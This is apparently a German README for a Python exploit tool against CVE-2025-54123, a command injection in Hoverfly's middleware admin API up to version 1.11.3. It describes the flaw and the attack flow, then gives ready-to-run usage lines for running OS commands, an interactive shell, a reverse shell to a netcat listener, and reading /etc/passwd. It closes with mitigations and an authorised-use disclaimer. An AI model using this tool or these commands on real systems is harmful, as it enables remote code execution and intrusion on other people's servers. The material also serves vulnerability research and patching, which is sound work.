Exploit für CVE-2025-54123, eine authentifizierte OS-Command-Injection in Hoverflys Middleware-API, mit Funktionen für reine Prüfung, Einzelbefehle, interaktive Shell und Reverse-Shell für autorisierte Sicherheitstests.
| Eigenschaft | Wert |
|---|
| CVE ID | CVE-2025-54123 |
| CVSS Score | 9.8 — Critical |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 (OS-Befehlseinschleusung), CWE-20 (Unzureichende Eingabevalidierung) |
| Produkt | Hoverfly — Open-Source-API-Simulationstool |
| Betroffen | Alle Versionen bis einschließlich 1.11.3 |
| Behoben in | 1.12.0 (Patch-Commit) |
| Sicherheitshinweis | GHSA-r4h8-hfp2-ggmf |
Hier finden Sie eine ausführliche Fallstudie und technische Analyse aus White-Box- und Black-Box-Perspektive: https://medium.com/@phantom_hat/cve-2025-54123-hoverfly-1-11-3-command-injection-rce-case-study-patch-diffing-aacc092f7f3a
Hoverfly stellt eine RESTful-Admin-API (Standardport 8888) zur Verwaltung von Simulationskonfigurationen bereit. Der Middleware-Verwaltungsendpunkt unter /api/v2/hoverfly/middleware akzeptiert einen JSON-Body mit den Feldern binary und script, die einen externen Middleware-Prozess definieren.
Die Schwachstelle entsteht aus einer Kombination von drei Code-Level-Fehlern:
Unzureichende Eingabevalidierung — middleware.go:93-96: Die Funktion SetBinary() akzeptiert den Parameter binary ohne Validierung oder Bereinigung, was einem Angreifer ermöglicht, beliebige ausführbare Dateien (z. B. bash) anzugeben.
Unsicherer Befehlsausführung — local_middleware.go:14-19: Die Middleware wird über exec.Command() ausgeführt, wobei die vom Angreifer kontrollierten Werte binary und script direkt als Argumente übergeben werden, was eine OS-Befehlseinschleusung ermöglicht.
Sofortige Ausführung während des Tests — hoverfly_service.go:173: Wenn die Middleware über die API gesetzt wird, testet Hoverfly diese sofort, indem es sie ausführt, wodurch der injizierte Befehl bereits zur Konfigurationszeit und nicht erst beim Proxy-Abfangen ausgelöst wird.
Attacker Hoverfly (≤ 1.11.3)
│ │
│─── POST /api/token-auth ──────────────>│ (1) Authenticate
│<── { "token": "eyJ..." } ─────────────│
│ │
│─── PUT /api/v2/hoverfly/middleware ───>│ (2) Inject payload
│ { "binary": "bash", │
│ "script": "<malicious cmd>" } │
│ │
│ ┌──────────────────────────────────┐│
│ │ exec.Command("bash", tmpScript) ││ (3) Immediate execution
│ │ → attacker command runs as ││
│ │ the Hoverfly process user ││
│ └──────────────────────────────────┘│
│ │
│<── Command output in error response ──│ (4) Exfiltrate output
│ │
admin / konfigurierbares Passwort)git clone https://github.com/<your-username>/CVE-2025-54123.git
cd CVE-2025-54123
pip install -r requirements.txt
Überprüfen Sie Erreichbarkeit und Authentifizierung des Ziels ohne Ausnutzung:
python3 exploit.py -u http://target:8888 -U admin -P <password> -C
Führen Sie einen einzelnen OS-Befehl auf dem Ziel aus:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'id'
Wechseln Sie in eine persistente Shell-Sitzung:
python3 exploit.py -u http://target:8888 -U admin -P <password> -i
Senden Sie eine Reverse-Shell an Ihren Listener:
# Terminal 1 — start listener
nc -lvnp 4444
# Terminal 2 — launch exploit
python3 exploit.py -u http://target:8888 -U admin -P <password> --revshell 10.0.0.1:4444
Leiten Sie den Datenverkehr zur Inspektion durch Burp Suite:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'cat /etc/passwd' --proxy -v
| Flag | Beschreibung | Standard |
|---|---|---|
-u, --url | Ziel-Hoverfly-URL | Erforderlich |
-U, --username | Admin-Benutzername | Erforderlich |
-P, --password | Admin-Passwort | Erforderlich |
-c, --command | Auszuführender OS-Befehl | — |
-C, --check | Nur-Prüfmodus (keine Ausnutzung) | false |
-i, --interactive | Interaktive Pseudo-Shell | false |
--revshell | Reverse Shell LHOST:LPORT | — |
--proxy | Route durch 127.0.0.1:8080 | false |
--timeout | Zeitüberschreitung der Anfrage (Sekunden) | 15 |
-v, --verbose | Ausführliche Ausgabe aktivieren | false |
| Maßnahme | Einzelheiten |
|---|---|
| Aktualisierung | Aktualisieren Sie Hoverfly auf v1.12.0 oder höher, bei dem die Set-Middleware-API standardmäßig deaktiviert ist |
| Netzwerksegmentierung | Beschränken Sie den Zugriff auf die Hoverfly-Admin-API (Port 8888) auf vertrauenswürdige Netzwerke |
| Authentifizierung | Verwenden Sie starke, eindeutige Passwörter für die Hoverfly-Admin-API |
| Überwachung | Überwachen Sie auf unerwartete PUT-Anfragen an /api/v2/hoverfly/middleware |
Der Fix in Commit 17e60a9 deaktiviert die Set-Middleware-API standardmäßig. Nachfolgende Änderungen an der Dokumentation (Commit a9d4da7) machen Benutzer auf die Sicherheitsauswirkungen der Offenlegung dieses Endpunkts aufmerksam.
Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und zu Bildungs- und Forschungszwecken bereitgestellt.
Unbefugter Zugriff auf Computersysteme ist nach dem Computer Fraud and Abuse Act (CFAA) und gleichwertigen Gesetzen weltweit illegal.
Der Autor übernimmt keine Haftung für Missbrauch dieser Software.
Holen Sie immer die ausdrückliche schriftliche Genehmigung ein, bevor Sie ein System testen, das Ihnen nicht gehört.
CVE-2025-54123/
├── Exploit/
│ ├── exploit.py # Polished exploit
│ └── raw_exploit.py # Original raw PoC
├── Images/ # Research screenshots
├── Reference/ # Reference exploits for study
├── requirements.txt # Python dependencies
└── README.md # This file
Phantom Hat — Sicherheitsforscher
Diese Forschung wurde im Rahmen einer Schwachstellen-Fallstudie zu Bildungszwecken durchgeführt.